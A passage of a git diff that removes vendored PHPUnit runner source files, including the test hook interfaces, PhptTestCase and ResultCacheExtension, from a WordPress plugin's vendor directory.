code. - */ -namespace PHPUnit\Runner; - -/** - * This interface, as well as the associated mechanism for extending PHPUnit, - * will be removed in PHPUnit 10. There is no alternative available in this - * version of PHPUnit. - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see https://github.com/sebastianbergmann/phpunit/issues/4676 - */ -interface AfterTestHook extends TestHook -{ - /** - * This hook will fire after any test, regardless of the result. - * - * For more fine grained control, have a look at the other hooks - * that extend PHPUnit\Runner\Hook. - */ - public function executeAfterTest(string $test, float $time): void; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterTestWarningHook.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterTestWarningHook.php deleted file mode 100644 index 860fccee..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/AfterTestWarningHook.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -/** - * This interface, as well as the associated mechanism for extending PHPUnit, - * will be removed in PHPUnit 10. There is no alternative available in this - * version of PHPUnit. - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see https://github.com/sebastianbergmann/phpunit/issues/4676 - */ -interface AfterTestWarningHook extends TestHook -{ - public function executeAfterTestWarning(string $test, string $message, float $time): void; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/BeforeFirstTestHook.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/BeforeFirstTestHook.php deleted file mode 100644 index feeb90fb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/BeforeFirstTestHook.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -/** - * This interface, as well as the associated mechanism for extending PHPUnit, - * will be removed in PHPUnit 10. There is no alternative available in this - * version of PHPUnit. - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see https://github.com/sebastianbergmann/phpunit/issues/4676 - */ -interface BeforeFirstTestHook extends Hook -{ - public function executeBeforeFirstTest(): void; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/BeforeTestHook.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/BeforeTestHook.php deleted file mode 100644 index b7e0827d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/BeforeTestHook.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -/** - * This interface, as well as the associated mechanism for extending PHPUnit, - * will be removed in PHPUnit 10. There is no alternative available in this - * version of PHPUnit. - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see https://github.com/sebastianbergmann/phpunit/issues/4676 - */ -interface BeforeTestHook extends TestHook -{ - public function executeBeforeTest(string $test): void; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/Hook.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/Hook.php deleted file mode 100644 index a08dc72b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/Hook.php +++ /dev/null @@ -1,23 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -/** - * This interface, as well as the associated mechanism for extending PHPUnit, - * will be removed in PHPUnit 10. There is no alternative available in this - * version of PHPUnit. - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see https://github.com/sebastianbergmann/phpunit/issues/4676 - */ -interface Hook -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/TestHook.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/TestHook.php deleted file mode 100644 index 31e880e2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/TestHook.php +++ /dev/null @@ -1,23 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -/** - * This interface, as well as the associated mechanism for extending PHPUnit, - * will be removed in PHPUnit 10. There is no alternative available in this - * version of PHPUnit. - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see https://github.com/sebastianbergmann/phpunit/issues/4676 - */ -interface TestHook extends Hook -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/TestListenerAdapter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/TestListenerAdapter.php deleted file mode 100644 index 60fbfba3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/Hook/TestListenerAdapter.php +++ /dev/null @@ -1,141 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -use PHPUnit\Framework\AssertionFailedError; -use PHPUnit\Framework\Test; -use PHPUnit\Framework\TestListener; -use PHPUnit\Framework\TestSuite; -use PHPUnit\Framework\Warning; -use PHPUnit\Util\Test as TestUtil; -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class TestListenerAdapter implements TestListener -{ - /** - * @var TestHook[] - */ - private $hooks = []; - - /** - * @var bool - */ - private $lastTestWasNotSuccessful; - - public function add(TestHook $hook): void - { - $this->hooks[] = $hook; - } - - public function startTest(Test $test): void - { - foreach ($this->hooks as $hook) { - if ($hook instanceof BeforeTestHook) { - $hook->executeBeforeTest(TestUtil::describeAsString($test)); - } - } - - $this->lastTestWasNotSuccessful = false; - } - - public function addError(Test $test, Throwable $t, float $time): void - { - foreach ($this->hooks as $hook) { - if ($hook instanceof AfterTestErrorHook) { - $hook->executeAfterTestError(TestUtil::describeAsString($test), $t->getMessage(), $time); - } - } - - $this->lastTestWasNotSuccessful = true; - } - - public function addWarning(Test $test, Warning $e, float $time): void - { - foreach ($this->hooks as $hook) { - if ($hook instanceof AfterTestWarningHook) { - $hook->executeAfterTestWarning(TestUtil::describeAsString($test), $e->getMessage(), $time); - } - } - - $this->lastTestWasNotSuccessful = true; - } - - public function addFailure(Test $test, AssertionFailedError $e, float $time): void - { - foreach ($this->hooks as $hook) { - if ($hook instanceof AfterTestFailureHook) { - $hook->executeAfterTestFailure(TestUtil::describeAsString($test), $e->getMessage(), $time); - } - } - - $this->lastTestWasNotSuccessful = true; - } - - public function addIncompleteTest(Test $test, Throwable $t, float $time): void - { - foreach ($this->hooks as $hook) { - if ($hook instanceof AfterIncompleteTestHook) { - $hook->executeAfterIncompleteTest(TestUtil::describeAsString($test), $t->getMessage(), $time); - } - } - - $this->lastTestWasNotSuccessful = true; - } - - public function addRiskyTest(Test $test, Throwable $t, float $time): void - { - foreach ($this->hooks as $hook) { - if ($hook instanceof AfterRiskyTestHook) { - $hook->executeAfterRiskyTest(TestUtil::describeAsString($test), $t->getMessage(), $time); - } - } - - $this->lastTestWasNotSuccessful = true; - } - - public function addSkippedTest(Test $test, Throwable $t, float $time): void - { - foreach ($this->hooks as $hook) { - if ($hook instanceof AfterSkippedTestHook) { - $hook->executeAfterSkippedTest(TestUtil::describeAsString($test), $t->getMessage(), $time); - } - } - - $this->lastTestWasNotSuccessful = true; - } - - public function endTest(Test $test, float $time): void - { - if (!$this->lastTestWasNotSuccessful) { - foreach ($this->hooks as $hook) { - if ($hook instanceof AfterSuccessfulTestHook) { - $hook->executeAfterSuccessfulTest(TestUtil::describeAsString($test), $time); - } - } - } - - foreach ($this->hooks as $hook) { - if ($hook instanceof AfterTestHook) { - $hook->executeAfterTest(TestUtil::describeAsString($test), $time); - } - } - } - - public function startTestSuite(TestSuite $suite): void - { - } - - public function endTestSuite(TestSuite $suite): void - { - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/NullTestResultCache.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/NullTestResultCache.php deleted file mode 100644 index 2aa86534..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/NullTestResultCache.php +++ /dev/null @@ -1,42 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class NullTestResultCache implements TestResultCache -{ - public function setState(string $testName, int $state): void - { - } - - public function getState(string $testName): int - { - return BaseTestRunner::STATUS_UNKNOWN; - } - - public function setTime(string $testName, float $time): void - { - } - - public function getTime(string $testName): float - { - return 0; - } - - public function load(): void - { - } - - public function persist(): void - { - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/PhptTestCase.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/PhptTestCase.php deleted file mode 100644 index b345dfc4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/PhptTestCase.php +++ /dev/null @@ -1,866 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -use const DEBUG_BACKTRACE_IGNORE_ARGS; -use const DIRECTORY_SEPARATOR; -use function array_merge; -use function basename; -use function debug_backtrace; -use function defined; -use function dirname; -use function explode; -use function extension_loaded; -use function file; -use function file_get_contents; -use function file_put_contents; -use function is_array; -use function is_file; -use function is_readable; -use function is_string; -use function ltrim; -use function phpversion; -use function preg_match; -use function preg_replace; -use function preg_split; -use function realpath; -use function rtrim; -use function sprintf; -use function str_replace; -use function strncasecmp; -use function strpos; -use function substr; -use function trim; -use function unlink; -use function unserialize; -use function var_export; -use function version_compare; -use PHPUnit\Framework\Assert; -use PHPUnit\Framework\AssertionFailedError; -use PHPUnit\Framework\ExecutionOrderDependency; -use PHPUnit\Framework\ExpectationFailedException; -use PHPUnit\Framework\IncompleteTestError; -use PHPUnit\Framework\PHPTAssertionFailedError; -use PHPUnit\Framework\Reorderable; -use PHPUnit\Framework\SelfDescribing; -use PHPUnit\Framework\SkippedTestError; -use PHPUnit\Framework\SyntheticSkippedError; -use PHPUnit\Framework\Test; -use PHPUnit\Framework\TestResult; -use PHPUnit\Util\PHP\AbstractPhpProcess; -use SebastianBergmann\CodeCoverage\InvalidArgumentException; -use SebastianBergmann\CodeCoverage\RawCodeCoverageData; -use SebastianBergmann\CodeCoverage\UnintentionallyCoveredCodeException; -use SebastianBergmann\Template\Template; -use SebastianBergmann\Timer\Timer; -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class PhptTestCase implements Reorderable, SelfDescribing, Test -{ - /** - * @var string - */ - private $filename; - - /** - * @var AbstractPhpProcess - */ - private $phpUtil; - - /** - * @var string - */ - private $output = ''; - - /** - * Constructs a test case with the given filename. - * - * @throws Exception - */ - public function __construct(string $filename, ?AbstractPhpProcess $phpUtil = null) - { - if (!is_file($filename)) { - throw new Exception( - sprintf( - 'File "%s" does not exist.', - $filename, - ), - ); - } - - $this->filename = $filename; - $this->phpUtil = $phpUtil ?: AbstractPhpProcess::factory(); - } - - /** - * Counts the number of test cases executed by run(TestResult result). - */ - public function count(): int - { - return 1; - } - - /** - * Runs a test and collects its result in a TestResult instance. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws Exception - * @throws InvalidArgumentException - * @throws UnintentionallyCoveredCodeException - */ - public function run(?TestResult $result = null): TestResult - { - if ($result === null) { - $result = new TestResult; - } - - try { - $sections = $this->parse(); - } catch (Exception $e) { - $result->startTest($this); - $result->addFailure($this, new SkippedTestError($e->getMessage()), 0); - $result->endTest($this, 0); - - return $result; - } - - $code = $this->render($sections['FILE']); - $xfail = false; - $settings = $this->parseIniSection($this->settings($result->getCollectCodeCoverageInformation())); - - $result->startTest($this); - - if (isset($sections['INI'])) { - $settings = $this->parseIniSection($sections['INI'], $settings); - } - - if (isset($sections['ENV'])) { - $env = $this->parseEnvSection($sections['ENV']); - $this->phpUtil->setEnv($env); - } - - $this->phpUtil->setUseStderrRedirection(true); - - if ($result->enforcesTimeLimit()) { - $this->phpUtil->setTimeout($result->getTimeoutForLargeTests()); - } - - $skip = $this->runSkip($sections, $result, $settings); - - if ($skip) { - return $result; - } - - if (isset($sections['XFAIL'])) { - $xfail = trim($sections['XFAIL']); - } - - if (isset($sections['STDIN'])) { - $this->phpUtil->setStdin($sections['STDIN']); - } - - if (isset($sections['ARGS'])) { - $this->phpUtil->setArgs($sections['ARGS']); - } - - if ($result->getCollectCodeCoverageInformation()) { - $codeCoverageCacheDirectory = null; - $pathCoverage = false; - - $codeCoverage = $result->getCodeCoverage(); - - if ($codeCoverage) { - if ($codeCoverage->cachesStaticAnalysis()) { - $codeCoverageCacheDirectory = $codeCoverage->cacheDirectory(); - } - - $pathCoverage = $codeCoverage->collectsBranchAndPathCoverage(); - } - - $this->renderForCoverage($code, $pathCoverage, $codeCoverageCacheDirectory); - } - - $timer = new Timer; - $timer->start(); - - $jobResult = $this->phpUtil->runJob($code, $this->stringifyIni($settings)); - $time = $timer->stop()->asSeconds(); - $this->output = $jobResult['stdout'] ?? ''; - - if (isset($codeCoverage) && ($coverage = $this->cleanupForCoverage())) { - $codeCoverage->append($coverage, $this, true, [], []); - } - - try { - $this->assertPhptExpectation($sections, $this->output); - } catch (AssertionFailedError $e) { - $failure = $e; - - if ($xfail !== false) { - $failure = new IncompleteTestError($xfail, 0, $e); - } elseif ($e instanceof ExpectationFailedException) { - $comparisonFailure = $e->getComparisonFailure(); - - if ($comparisonFailure) { - $diff = $comparisonFailure->getDiff(); - } else { - $diff = $e->getMessage(); - } - - $hint = $this->getLocationHintFromDiff($diff, $sections); - $trace = array_merge($hint, debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS)); - $failure = new PHPTAssertionFailedError( - $e->getMessage(), - 0, - $trace[0]['file'], - $trace[0]['line'], - $trace, - $comparisonFailure ? $diff : '', - ); - } - - $result->addFailure($this, $failure, $time); - } catch (Throwable $t) { - $result->addError($this, $t, $time); - } - - if ($xfail !== false && $result->allCompletelyImplemented()) { - $result->addFailure($this, new IncompleteTestError('XFAIL section but test passes'), $time); - } - - $this->runClean($sections, $result->getCollectCodeCoverageInformation()); - - $result->endTest($this, $time); - - return $result; - } - - /** - * Returns the name of the test case. - */ - public function getName(): string - { - return $this->toString(); - } - - /** - * Returns a string representation of the test case. - */ - public function toString(): string - { - return $this->filename; - } - - public function usesDataProvider(): bool - { - return false; - } - - public function getNumAssertions(): int - { - return 1; - } - - public function getActualOutput(): string - { - return $this->output; - } - - public function hasOutput(): bool - { - return !empty($this->output); - } - - public function sortId(): string - { - return $this->filename; - } - - /** - * @return list - */ - public function provides(): array - { - return []; - } - - /** - * @return list - */ - public function requires(): array - { - return []; - } - - /** - * Parse --INI-- section key value pairs and return as array. - * - * @param array|string $content - */ - private function parseIniSection($content, array $ini = []): array - { - if (is_string($content)) { - $content = explode("\n", trim($content)); - } - - foreach ($content as $setting) { - if (strpos($setting, '=') === false) { - continue; - } - - $setting = explode('=', $setting, 2); - $name = trim($setting[0]); - $value = trim($setting[1]); - - if ($name === 'extension' || $name === 'zend_extension') { - if (!isset($ini[$name])) { - $ini[$name] = []; - } - - $ini[$name][] = $value; - - continue; - } - - $ini[$name] = $value; - } - - return $ini; - } - - private function parseEnvSection(string $content): array - { - $env = []; - - foreach (explode("\n", trim($content)) as $e) { - $e = explode('=', trim($e), 2); - - if ($e[0] !== '' && isset($e[1])) { - $env[$e[0]] = $e[1]; - } - } - - return $env; - } - - /** - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws Exception - * @throws ExpectationFailedException - */ - private function assertPhptExpectation(array $sections, string $output): void - { - $assertions = [ - 'EXPECT' => 'assertEquals', - 'EXPECTF' => 'assertStringMatchesFormat', - 'EXPECTREGEX' => 'assertMatchesRegularExpression', - ]; - - $actual = preg_replace('/\r\n/', "\n", trim($output)); - - foreach ($assertions as $sectionName => $sectionAssertion) { - if (isset($sections[$sectionName])) { - $sectionContent = preg_replace('/\r\n/', "\n", trim($sections[$sectionName])); - $expected = $sectionName === 'EXPECTREGEX' ? "/{$sectionContent}/" : $sectionContent; - - if ($expected === '') { - throw new Exception('No PHPT expectation found'); - } - - Assert::$sectionAssertion($expected, $actual); - - return; - } - } - - throw new Exception('No PHPT assertion found'); - } - - /** - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - */ - private function runSkip(array &$sections, TestResult $result, array $settings): bool - { - if (!isset($sections['SKIPIF'])) { - return false; - } - - $skipif = $this->render($sections['SKIPIF']); - $jobResult = $this->phpUtil->runJob($skipif, $this->stringifyIni($settings)); - - if (!strncasecmp('skip', ltrim($jobResult['stdout']), 4)) { - $message = ''; - - if (preg_match('/^\s*skip\s*(.+)\s*/i', $jobResult['stdout'], $skipMatch)) { - $message = substr($skipMatch[1], 2); - } - - $hint = $this->getLocationHint($message, $sections, 'SKIPIF'); - $trace = array_merge($hint, debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS)); - $result->addFailure( - $this, - new SyntheticSkippedError($message, 0, $trace[0]['file'], $trace[0]['line'], $trace), - 0, - ); - $result->endTest($this, 0); - - return true; - } - - return false; - } - - private function runClean(array &$sections, bool $collectCoverage): void - { - $this->phpUtil->setStdin(''); - $this->phpUtil->setArgs(''); - - if (isset($sections['CLEAN'])) { - $cleanCode = $this->render($sections['CLEAN']); - - $this->phpUtil->runJob($cleanCode, $this->settings($collectCoverage)); - } - } - - /** - * @throws Exception - */ - private function parse(): array - { - $sections = []; - $section = ''; - - $unsupportedSections = [ - 'CGI', - 'COOKIE', - 'DEFLATE_POST', - 'EXPECTHEADERS', - 'EXTENSIONS', - 'GET', - 'GZIP_POST', - 'HEADERS', - 'PHPDBG', - 'POST', - 'POST_RAW', - 'PUT', - 'REDIRECTTEST', - 'REQUEST', - ]; - - $lineNr = 0; - - foreach (file($this->filename) as $line) { - $lineNr++; - - if (preg_match('/^--([_A-Z]+)--/', $line, $result)) { - $section = $result[1]; - $sections[$section] = ''; - $sections[$section . '_offset'] = $lineNr; - - continue; - } - - if (empty($section)) { - throw new Exception('Invalid PHPT file: empty section header'); - } - - $sections[$section] .= $line; - } - - if (isset($sections['FILEEOF'])) { - $sections['FILE'] = rtrim($sections['FILEEOF'], "\r\n"); - unset($sections['FILEEOF']); - } - - $this->parseExternal($sections); - - if (!$this->validate($sections)) { - throw new Exception('Invalid PHPT file'); - } - - foreach ($unsupportedSections as $section) { - if (isset($sections[$section])) { - throw new Exception( - "PHPUnit does not support PHPT {$section} sections", - ); - } - } - - return $sections; - } - - /** - * @throws Exception - */ - private function parseExternal(array &$sections): void - { - $allowSections = [ - 'FILE', - 'EXPECT', - 'EXPECTF', - 'EXPECTREGEX', - ]; - $testDirectory = dirname($this->filename) . DIRECTORY_SEPARATOR; - - foreach ($allowSections as $section) { - if (isset($sections[$section . '_EXTERNAL'])) { - $externalFilename = trim($sections[$section . '_EXTERNAL']); - - if (!is_file($testDirectory . $externalFilename) || - !is_readable($testDirectory . $externalFilename)) { - throw new Exception( - sprintf( - 'Could not load --%s-- %s for PHPT file', - $section . '_EXTERNAL', - $testDirectory . $externalFilename, - ), - ); - } - - $sections[$section] = file_get_contents($testDirectory . $externalFilename); - } - } - } - - private function validate(array &$sections): bool - { - $requiredSections = [ - 'FILE', - [ - 'EXPECT', - 'EXPECTF', - 'EXPECTREGEX', - ], - ]; - - foreach ($requiredSections as $section) { - if (is_array($section)) { - $foundSection = false; - - foreach ($section as $anySection) { - if (isset($sections[$anySection])) { - $foundSection = true; - - break; - } - } - - if (!$foundSection) { - return false; - } - - continue; - } - - if (!isset($sections[$section])) { - return false; - } - } - - return true; - } - - private function render(string $code): string - { - return str_replace( - [ - '__DIR__', - '__FILE__', - ], - [ - "'" . dirname($this->filename) . "'", - "'" . $this->filename . "'", - ], - $code, - ); - } - - private function getCoverageFiles(): array - { - $baseDir = dirname(realpath($this->filename)) . DIRECTORY_SEPARATOR; - $basename = basename($this->filename, 'phpt'); - - return [ - 'coverage' => $baseDir . $basename . 'coverage', - 'job' => $baseDir . $basename . 'php', - ]; - } - - private function renderForCoverage(string &$job, bool $pathCoverage, ?string $codeCoverageCacheDirectory): void - { - $files = $this->getCoverageFiles(); - - $template = new Template( - __DIR__ . '/../Util/PHP/Template/PhptTestCase.tpl', - ); - - $composerAutoload = '\'\''; - - if (defined('PHPUNIT_COMPOSER_INSTALL')) { - $composerAutoload = var_export(PHPUNIT_COMPOSER_INSTALL, true); - } - - $phar = '\'\''; - - if (defined('__PHPUNIT_PHAR__')) { - $phar = var_export(__PHPUNIT_PHAR__, true); - } - - $globals = ''; - - if (!empty($GLOBALS['__PHPUNIT_BOOTSTRAP'])) { - $globals = '$GLOBALS[\'__PHPUNIT_BOOTSTRAP\'] = ' . var_export( - $GLOBALS['__PHPUNIT_BOOTSTRAP'], - true, - ) . ";\n"; - } - - if ($codeCoverageCacheDirectory === null) { - $codeCoverageCacheDirectory = 'null'; - } else { - $codeCoverageCacheDirectory = "'" . $codeCoverageCacheDirectory . "'"; - } - - $template->setVar( - [ - 'composerAutoload' => $composerAutoload, - 'phar' => $phar, - 'globals' => $globals, - 'job' => $files['job'], - 'coverageFile' => $files['coverage'], - 'driverMethod' => $pathCoverage ? 'forLineAndPathCoverage' : 'forLineCoverage', - 'codeCoverageCacheDirectory' => $codeCoverageCacheDirectory, - ], - ); - - file_put_contents($files['job'], $job); - - $job = $template->render(); - } - - private function cleanupForCoverage(): RawCodeCoverageData - { - $coverage = RawCodeCoverageData::fromXdebugWithoutPathCoverage([]); - $files = $this->getCoverageFiles(); - - if (is_file($files['coverage'])) { - $buffer = @file_get_contents($files['coverage']); - - if ($buffer !== false) { - $coverage = @unserialize($buffer); - - if ($coverage === false) { - $coverage = RawCodeCoverageData::fromXdebugWithoutPathCoverage([]); - } - } - } - - foreach ($files as $file) { - @unlink($file); - } - - return $coverage; - } - - private function stringifyIni(array $ini): array - { - $settings = []; - - foreach ($ini as $key => $value) { - if (is_array($value)) { - foreach ($value as $val) { - $settings[] = $key . '=' . $val; - } - - continue; - } - - $settings[] = $key . '=' . $value; - } - - return $settings; - } - - private function getLocationHintFromDiff(string $message, array $sections): array - { - $needle = ''; - $previousLine = ''; - $block = 'message'; - - foreach (preg_split('/\r\n|\r|\n/', $message) as $line) { - $line = trim($line); - - if ($block === 'message' && $line === '--- Expected') { - $block = 'expected'; - } - - if ($block === 'expected' && $line === '@@ @@') { - $block = 'diff'; - } - - if ($block === 'diff') { - if (strpos($line, '+') === 0) { - $needle = $this->getCleanDiffLine($previousLine); - - break; - } - - if (strpos($line, '-') === 0) { - $needle = $this->getCleanDiffLine($line); - - break; - } - } - - if (!empty($line)) { - $previousLine = $line; - } - } - - return $this->getLocationHint($needle, $sections); - } - - private function getCleanDiffLine(string $line): string - { - if (preg_match('/^[\-+]([\'\"]?)(.*)\1$/', $line, $matches)) { - $line = $matches[2]; - } - - return $line; - } - - private function getLocationHint(string $needle, array $sections, ?string $sectionName = null): array - { - $needle = trim($needle); - - if (empty($needle)) { - return [[ - 'file' => realpath($this->filename), - 'line' => 1, - ]]; - } - - if ($sectionName) { - $search = [$sectionName]; - } else { - $search = [ - // 'FILE', - 'EXPECT', - 'EXPECTF', - 'EXPECTREGEX', - ]; - } - - $sectionOffset = null; - - foreach ($search as $section) { - if (!isset($sections[$section])) { - continue; - } - - if (isset($sections[$section . '_EXTERNAL'])) { - $externalFile = trim($sections[$section . '_EXTERNAL']); - - return [ - [ - 'file' => realpath(dirname($this->filename) . DIRECTORY_SEPARATOR . $externalFile), - 'line' => 1, - ], - [ - 'file' => realpath($this->filename), - 'line' => ($sections[$section . '_EXTERNAL_offset'] ?? 0) + 1, - ], - ]; - } - - $sectionOffset = $sections[$section . '_offset'] ?? 0; - $offset = $sectionOffset + 1; - - foreach (preg_split('/\r\n|\r|\n/', $sections[$section]) as $line) { - if (strpos($line, $needle) !== false) { - return [[ - 'file' => realpath($this->filename), - 'line' => $offset, - ]]; - } - $offset++; - } - } - - if ($sectionName) { - // String not found in specified section, show user the start of the named section - return [[ - 'file' => realpath($this->filename), - 'line' => $sectionOffset, - ]]; - } - - // No section specified, show user start of code - return [[ - 'file' => realpath($this->filename), - 'line' => 1, - ]]; - } - - /** - * @psalm-return list - */ - private function settings(bool $collectCoverage): array - { - $settings = [ - 'allow_url_fopen=1', - 'auto_append_file=', - 'auto_prepend_file=', - 'disable_functions=', - 'display_errors=1', - 'docref_ext=.html', - 'docref_root=', - 'error_append_string=', - 'error_prepend_string=', - 'error_reporting=-1', - 'html_errors=0', - 'log_errors=0', - 'open_basedir=', - 'output_buffering=Off', - 'output_handler=', - 'report_memleaks=0', - 'report_zend_debug=0', - ]; - - if (extension_loaded('pcov')) { - if ($collectCoverage) { - $settings[] = 'pcov.enabled=1'; - } else { - $settings[] = 'pcov.enabled=0'; - } - } - - if (extension_loaded('xdebug')) { - if (version_compare(phpversion('xdebug'), '3', '>=')) { - if ($collectCoverage) { - $settings[] = 'xdebug.mode=coverage'; - } else { - $settings[] = 'xdebug.mode=off'; - } - } else { - $settings[] = 'xdebug.default_enable=0'; - - if ($collectCoverage) { - $settings[] = 'xdebug.coverage_enable=1'; - } - } - } - - return $settings; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/ResultCacheExtension.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/ResultCacheExtension.php deleted file mode 100644 index 31d7610e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/ResultCacheExtension.php +++ /dev/null @@ -1,110 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Runner; - -use function preg_match; -use function round; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ResultCacheExtension implements AfterIncompleteTestHook, AfterLastTestHook, AfterRiskyTestHook, AfterSkippedTestHook, AfterSuccessfulTestHook, AfterTestErrorHook, AfterTestFailureHook, AfterTestWarningHook -{ - /** - * @var TestResultCache - */ - private $cache; - - public function __construct(TestResultCache $cache) - { - $this->cache = $cache; - } - - public function flush(): void - { - $this->cache->persist(); - } - - public function executeAfterSuccessfulTest(string $test, float $time): void - { - $testName = $this->getTestName($test); - - $this->cache->setTime($testName, round($time, 3)); - } - - public function executeAfterIncompleteTest(string $test, string $message, float $time): void - { - $testName = $this->getTestName($test); - - $this->cache->setTime($testName, round($time, 3)); - $this->cache->setState($testName, BaseTestRunner::STATUS_INCOMPLETE); - } - - public function executeAfterRiskyTest(string $test, string $message, float $time): void - { - $testName = $this->getTestName($test); - - $this->cache->setTime($testName, round($time, 3)); - $this->cache->setState($testName, BaseTestRunner::STATUS_RISKY); - } - - public function executeAfterSkippedTest(string $test, string $message, float $time): void - { - $testName = $this->getTestName($test); - - $this->cache->setTime($testName, round($time, 3)); - $this->cache->setState($testName, BaseTestRunner::STATUS_SKIPPED); - } - - public function executeAfterTestError(string $test, string $message, float $time): void - { - $testName = $this->getTestName($test); - - $this->cache->setTime($testName, round($time, 3)); - $this->cache->setState($testName, BaseTestRunner::STATUS_ERROR); - } - - public function executeAfterTestFailure(string $test, string $message, float $time): void - { - $testName = $this->getTestName($test); - - $this->cache->setTime($testName, round($time, 3)); - $this->cache->setState($testName, BaseTestRunner::STATUS_FAILURE); - } - - public function executeAfterTestWarning(string $test, string $message, float $time): void - { - $testName = $this->getTestName($test); - - $this->cache->setTime($testName, round($time, 3)); - $this->cache->setState($testName, BaseTestRunner::STATUS_WARNING); - } - - public function executeAfterLastTest(): void - { - $this->flush(); - } - - /** - * @param string $test A long description format of the current test - * - * @return string The test name without TestSuiteClassName:: and @dataprovider details - */ - private function getTestName(string $test): string - { - $matches = []; - - if (preg_match('/^(?\S+::\S+)(?:(? with data set (?:#\d+|"[^"]+"))\s\()?/', $test, $matches)) { - $test = $matches['name'] . ($matches['dataname'] ?? ''); - } - - return $test; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/StandardTestSuiteLoader.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/StandardTestSuiteLoader.php deleted file mode 100644 index f957e81a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Runner/StandardTestSuiteLoader.php +++ 